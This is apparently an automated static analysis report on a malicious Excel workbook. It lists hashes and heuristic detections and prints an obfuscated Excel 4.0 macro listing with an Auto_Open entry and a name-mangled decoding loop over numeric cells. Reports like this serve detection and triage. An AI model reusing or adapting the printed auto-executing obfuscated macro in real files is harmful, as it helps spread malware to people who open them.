Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f1033d7ce3c1ce5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:06 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 5504308bb6575a9bd4de4a5c5961b545 SHA-1: 2363e5b5435cf044d0a6e405d1a3a6e5fde54971 SHA-256: 7f1033d7ce3c1ce5935463a2f82c2c4995467f2ac2cc6a74fe530f6254d1a0a2
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: c34d4bc04f3b3f633b0ca32089fc41ecf7eec84dd266245168e4d4f09a28de09
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 37 identifiers look randomly generated (e.g. 'NXbbmEPNKfYN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OYFj
' 0018     22 LABEL : Cell Value, String Constant - AdZhQJI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A181 
' 0018     24 LABEL : Cell Value, String Constant - BycTUqEbv len=0 
' 0018     23 LABEL : Cell Value, String Constant - FrgApIpp len=0 
' 0018     24 LABEL : Cell Value, String Constant - IUQQwLbSL len=0 
' 0018     27 LABEL : Cell Value, String Constant - jciWhAsQYoND len=0 
' 0018     25 LABEL : Cell Value, String Constant - KVHFFSzgUj len=0 
' 0018     20 LABEL : Cell Value, String Constant - LAMqU len=0 
' 0018     25 LABEL : Cell Value, String Constant - MawGZWndQL len=0 
' 0018     27 LABEL : Cell Value, String Constant - NXbbmEPNKfYN len=0 
' 0018     23 LABEL : Cell Value, String Constant - nydZxIEo len=0 
' 0018     25 LABEL : Cell Value, String Constant - QudsjiLgpN len=0 
' 0018     21 LABEL : Cell Value, String Constant - rDpLOS len=0 
' 0018     26 LABEL : Cell Value, String Constant - RWKmQarVTeL len=0 
' 0018     26 LABEL : Cell Value, String Constant - SeoYnNXbzVA len=0 
' 0018     24 LABEL : Cell Value, String Constant - TTMveyvTg len=0 
' 0018     22 LABEL : Cell Value, String Constant - tvyeMem len=0 
' 0018     26 LABEL : Cell Value, String Constant - uQxdyiCVDgV len=0 
' 0018     20 LABEL : Cell Value, String Constant - VdnOD len=0 
' 0018     22 LABEL : Cell Value, String Constant - wEtcfBS len=0 
' 0018     21 LABEL : Cell Value, String Constant - XhcbMm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OYFj,P50,"",-686.00000000000000000000
'  OYFj,P51,"",220.00000000000000000000
'  OYFj,P52,"",31.00000000000000000000
'  OYFj,P53,"",-768.00000000000000000000
'  OYFj,P54,"",904.00000000000000000000
'  OYFj,P55,"",-948.00000000000000000000
'  OYFj,A91,"SET.NAME("AdZhQJI",0+VALUE("0"))",""
'  OYFj,A93,"SET.NAME("SeoYnNXbzVA",AdZhQJI)",""
'  OYFj,A96,"SET.NAME("TTMveyvTg",AdZhQJI)",""
'  OYFj,A101,"SET.NAME("nydZxIEo",COUNTA(NXbbmEPNKfYN))",""
'  OYFj,A104,"SET.NAME("LAMqU",COUNTA(uQxdyiCVDgV))",""
'  OYFj,A108,[],""
'  OYFj,A110,"SET.NAME("tvyeMem","")",""
'  OYFj,A113,"SeoYnNXbzVA",""
'  OYFj,A115,"SET.NAME("IUQQwLbSL",HLOOKUP("*",NXbbmEPNKfYN,SeoYnNXbzVA,FALSE))",""
'  OYFj,A117,"QudsjiLgpN",""
'  OYFj,A119,"SET.NAME("KVHFFSzgUj",AdZhQJI)",""
'  OYFj,A123,[],""
'  OYFj,A128,"KVHFFSzgUj",""
'  OYFj,A133,"BycTUqEbv",""
'  OYFj,A135,"FrgApIpp",""
'  OYFj,A138,"rDpLOS",""
'  OYFj,A140,"SET.NAME("RWKmQarVTeL",VALUE(HLOOKUP("*",uQxdyiCVDgV,rDpLOS,FALSE)))",""
'  OYFj,A144,"jciWhAsQYoND",""
'  OYFj,A149,"tvyeMem",""
'  OYFj,A152,"TTMveyvTg",""
'  OYFj,A156,NEXT(),""
'  OYFj,A159,"XhcbMm",""
'  OYFj,A163,[],""
'  OYFj,A166,"MawGZWndQL",""
'  OYFj,A171,NEXT(),""
'  OYFj,A176,RETURN(),""
'  OYFj,A203,"SET.NAME("wEtcfBS",A91)",""
'  OYFj,A208,"NXbbmEPNKfYN",""
'  OYFj,A211,"SET.NAME("uQxdyiCVDgV",R58C11)",""
'  OYFj,A213,"SET.NAME("MawGZWndQL",223)",""
'  OYFj,A218,"SET.NAME("VdnOD",1)",""
'  OYFj,A222,wEtcfBS(),""
'  OYFj,A223,HALT(),""

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